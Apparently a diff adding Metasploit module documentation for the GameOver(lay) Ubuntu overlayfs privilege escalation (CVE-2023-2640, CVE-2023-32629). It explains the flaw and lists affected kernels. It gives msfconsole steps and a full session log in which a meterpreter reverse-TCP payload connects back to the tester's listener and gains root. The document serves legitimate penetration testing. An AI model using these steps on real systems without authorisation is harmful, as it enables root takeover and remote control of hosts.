|
| 1 | +## Description |
| 2 | + |
| 3 | +CVE-2023-2640 and CVE-2023-32629 are vunerabilites that allow for the arbitrary setting of |
| 4 | +capabilities while overlaying filesystems. On most Linux Kernels during the execution of |
| 5 | + `ovl_do_setxattr` an intermediate function `vfs_setxatrr` converts file capabilities in a |
| 6 | +way that limits them to the current namesapce. However, on some versions of the Ubuntu kernel |
| 7 | + `_vfs_setxattr_noperm` is called directly without calling `vfs_setxattr`. |
| 8 | + |
| 9 | +When a new namespace is created the user will technically be "root" within that given |
| 10 | +namespace. This module will take advantage of this by setting the `CAP_SETUID` capability |
| 11 | +on a system binary. It will then perform filesystem overlay, copying the binary into the lower |
| 12 | +directory. Because of the flaws described above when the binary is transfered into the upper |
| 13 | +directory it's capabilities will not be sanitized and persist in the "normal" namespace. |
| 14 | + |
| 15 | +## Vunerable Application |
| 16 | + |
| 17 | +These vunerabilities are somewhat unique in that they effect a wide variety of Ubuntu releases |
| 18 | +and kernel versions, as described in the list below. |
| 19 | + |
| 20 | +Ubuntu 23.04 (Lunar Lobster)m kernel 6.2.0, (CVE-2023-2640 & CVE-2023-32629) |
| 21 | + |
| 22 | +Ubuntu 22.10 (Kinetic Kudu), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629) |
| 23 | + |
| 24 | +Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629) |
| 25 | + |
| 26 | +Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 6.2.0, (CVE-2023-2640 & CVE-2023-32629) |
| 27 | + |
| 28 | +Ubuntu 20.04 LTS (Focal Fossa), kernel -> 5.4.0, (CVE-2023-32629) |
| 29 | + |
| 30 | +Ubuntu 18.04 LTS (Bionic Beaver), kernel -> 5.4.0, (CVE-2023-32629) |
| 31 | + |
| 32 | +The user can download a vunerable version, for example: |
| 33 | + |
| 34 | +``` |
| 35 | +sudo apt update |
| 36 | +sudo apt install -y linux-image-5.19.0-41-generic linux-headers-5.19.0-41-generic |
| 37 | +reboot |
| 38 | +``` |
| 39 | +While testing @bwatters7 mentioned taking the system Be sure to take the system offline to |
| 40 | +prevent the vunerabilities from silently being patched. |
| 41 | + |
| 42 | +This module has succesfully been tested on the following: |
| 43 | + |
| 44 | +Ubuntu 22.04 LTS (Jammy Jellyfish) 5.19.0-41-generic |
| 45 | + |
| 46 | +Ubuntu 20.04 LTS (Focal Fossa) 5.4.0-1018-aws |
| 47 | + |
| 48 | +## Verification Steps |
| 49 | + |
| 50 | +1). Start `msfconsole` |
| 51 | + |
| 52 | +2). Get a session on a vunerable system |
| 53 | + |
| 54 | +3). Use `exploit/linux/local/gameoverlay_privesc` |
| 55 | + |
| 56 | +4). Optional: choose target for payload, either system command (1) or payload (2) |
| 57 | +`set target 1` |
| 58 | + |
| 59 | +5). Set session `set session [SESSION]` |
| 60 | + |
| 61 | +5). Do. `run` |
| 62 | + |
| 63 | +6). You should get a new session running as root. |
| 64 | + |
| 65 | +## Options |
| 66 | + |
| 67 | +### Payload File Name |
| 68 | +Name of the file storing the payload, default is `marv`. |
| 69 | + |
| 70 | +### Writable Dir |
| 71 | +The name of a directory with write permissions, defualt is `/tmp`. This will be where the |
| 72 | +payload file will be created. Additionally during the exploit a series of directories will be |
| 73 | +created here to perform the filesystem overlaying. |
| 74 | + |
| 75 | +## Scenarios |
| 76 | + |
| 77 | +You have a non-root session on one of the systems described above. Please note that this |
| 78 | +module will automatically run checks to determine if the system is vunerable, you can disable |
| 79 | +this with `set AutoCheck False`. |
| 80 | + |
| 81 | +``` |
| 82 | + > use exploit/linux/local/gameoverlay_privesc |
| 83 | +[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp |
| 84 | +msf6 exploit(linux/local/gameoverlay_privesc) > set session 1 |
| 85 | +session => 1 |
| 86 | +msf6 exploit(linux/local/gameoverlay_privesc) > set target 0 |
| 87 | +target => 0 |
| 88 | +msf6 exploit(linux/local/gameoverlay_privesc) > set payload linux/aarch64/meterpreter_reverse_tcp |
| 89 | +payload => linux/aarch64/meterpreter_reverse_tcp |
| 90 | +msf6 exploit(linux/local/gameoverlay_privesc) > set lhost 10.5.135.201 |
| 91 | +lhost => 10.5.135.201 |
| 92 | +msf6 exploit(linux/local/gameoverlay_privesc) > show options |
| 93 | +
|
| 94 | +Module options (exploit/linux/local/gameoverlay_privesc): |
| 95 | +
|
| 96 | + Name Current Setting Required Description |
| 97 | + ---- --------------- -------- ----------- |
| 98 | + PayloadFileName pVmtuGOGXdO yes Name of payload |
| 99 | + SESSION 1 yes The session to run this module on |
| 100 | + WritableDir /tmp yes A directory where we can write files |
| 101 | +
|
| 102 | +
|
| 103 | +Payload options (linux/aarch64/meterpreter_reverse_tcp): |
| 104 | +
|
| 105 | + Name Current Setting Required Description |
| 106 | + ---- --------------- -------- ----------- |
| 107 | + LHOST 10.5.135.201 yes The listen address (an interface may be specified) |
| 108 | + LPORT 4444 yes The listen port |
| 109 | +
|
| 110 | +
|
| 111 | +Exploit target: |
| 112 | +
|
| 113 | + Id Name |
| 114 | + -- ---- |
| 115 | + 0 Linux_Binary |
| 116 | +
|
| 117 | +
|
| 118 | +
|
| 119 | +View the full module info with the info, or info -d command. |
| 120 | +
|
| 121 | +msf6 exploit(linux/local/gameoverlay_privesc) > run |
| 122 | +
|
| 123 | +[*] Started reverse TCP handler on 10.5.135.201:4444 |
| 124 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 125 | +[*] Detected Ubuntu version: Jammy Jellyfish |
| 126 | +[*] Detected kernel version: 5.19.0-41-generic |
| 127 | +[+] The target is vulnerable. Jammy Jellyfish with 5.19.0-41-generic kernel is vunerable |
| 128 | +[*] Creating directory /tmp/UqNFkc/ |
| 129 | +[*] Creating directory /tmp/UqNFkc/QKZiqWWsnSOz/ |
| 130 | +[*] Creating directory /tmp/UqNFkc/WbrucZxIAlWZF/ |
| 131 | +[*] Creating directory /tmp/UqNFkc/uKmqunqY/ |
| 132 | +[*] Creating directory /tmp/UqNFkc/pwFUmC/ |
| 133 | +[*] Writing payload: /tmp/UqNFkc/pVmtuGOGXdO |
| 134 | +[*] Starting new namespace, and running exploit... |
| 135 | +[+] Deleted /tmp/UqNFkc/ |
| 136 | +[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.132.149:49168) at 2024-10-02 16:28:43 -0500 |
| 137 | +[*] |
| 138 | +
|
| 139 | +meterpreter > sysinfo |
| 140 | +Computer : 10.5.132.149 |
| 141 | +OS : Ubuntu 22.04 (Linux 5.19.0-41-generic) |
| 142 | +Architecture : aarch64 |
| 143 | +BuildTuple : aarch64-linux-musl |
| 144 | +Meterpreter : aarch64/linux |
| 145 | +meterpreter > getuid |
| 146 | +Server username: root |
| 147 | +meterpreter > |
| 148 | +``` |
0 commit comments